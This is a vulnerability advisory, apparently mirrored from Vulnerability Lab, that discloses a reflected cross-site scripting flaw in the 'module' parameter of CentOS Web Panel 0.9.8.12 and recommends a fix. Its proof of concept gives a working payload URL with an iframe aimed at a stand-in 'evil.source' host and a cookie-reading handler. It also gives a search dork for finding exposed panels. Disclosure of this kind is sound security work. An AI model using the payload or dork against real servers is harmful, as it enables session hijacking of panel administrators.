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CentOS Web Panel 0.9.8.12 Cross Site Scripting

CentOS Web Panel 0.9.8.12 Cross Site Scripting
Posted Jan 20, 2018
Authored by Benjamin Kunz Mejri | Site vulnerability-lab.com

CentOS Web Panel version 0.9.8.12 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, web, vulnerability, xss
systems | linux, centos
MD5 | d4e1642698943201c71ed84ba0b37e4e

CentOS Web Panel 0.9.8.12 Cross Site Scripting

Change Mirror Download
Document Title:
===============
CentOS Web Panel v0.9.8.12 - Non-Persistent Cross Site Scripting Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1835


Release Date:
=============
2018-01-17


Vulnerability Laboratory ID (VL-ID):
====================================
1835


Common Vulnerability Scoring System:
====================================
3.3


Vulnerability Class:
====================
Cross Site Scripting - Non Persistent


Current Estimated Price:
========================
500a! - 1.000a!


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailservera|).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross site scripting vulnerability in the CentOS Web Panel v0.9.8.12.


Vulnerability Disclosure Timeline:
==================================
2018-01-17: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A client-side cross site scripting web vulnerability has been discovered in the official CentOS Web Panel v0.9.8.12.
The vulnerability allows remote attackers to inject script code to the client-side browser to application requests.

The client-side cross site web vulnerability is located in the `module` value of the `index.php` file GET method request.
The vulnerability can be exploited by remote attackers with a prepared malicious link to the centos web-panel application.
The request method to inject is GET and the attack vector is non-persistent. The injection point is the module parameter
and the execution point occurs in the module exception.

The security risk of the web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the non-persisten vulnerability requires no privileged web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent manipulation of affected or connected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] index.php

Vulnerable Parameter(s):
[+] module


Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers without privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Dork(s):
"powered by CentOS-WebPanel.com"


PoC: Payload(s)
http://localhost:2030/index.php?module=clam%3E%22%3Ciframe%20src=evil.source%20onload=alert%28document.cookie%29%20%3C
http://localhost:2030/index.php?module=clam


PoC: Exception-Handling
<div class="row">
The module clam>"<[CLIENT SIDE SCRIPT CODE PAYLOAD EXECUTION!]> does not exist.
</div><!-- End .row -->
</div><!-- End contentwrapper -->
</div><!-- End #content -->
</div><!-- End #wrapper -->


--- PoC Session Logs [POST] ---
Status: 200[OK]
GET http://localhost:2030/index.php?module=clam%3E%22%3Ciframesrc=evil.source%20onload=alert(document.cookie)%20%3C
Mime Type[text/html]
Request Header:
Host[localhost:2030]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
Connection[keep-alive]
Response Header:
Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
X-Powered-By[PHP/5.4.27]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Content-Type[text/html]


Reference(s):
http://localhost:2030/
http://localhost:2030/index.php
http://localhost:2030/index.php?module


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a sanitize of the vulnerable module parameters in the `index.php` file GET method request.
Disallow special chars and restrict the parameter input to prevent further client-side script code injection attacks.
Escape the output content of the error exception for invalid inputs to prevent the execution point of the client-side vulnerability.


Security Risk:
==============
The security risk of the client-side cross site scripting web vulnerability in the centos web panel is estimated as medium (CVSS 3.3).


Credits & Authors:
==================
Benjamn Kunz Mejri (Vulnerability Laboratory) - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its
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or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface
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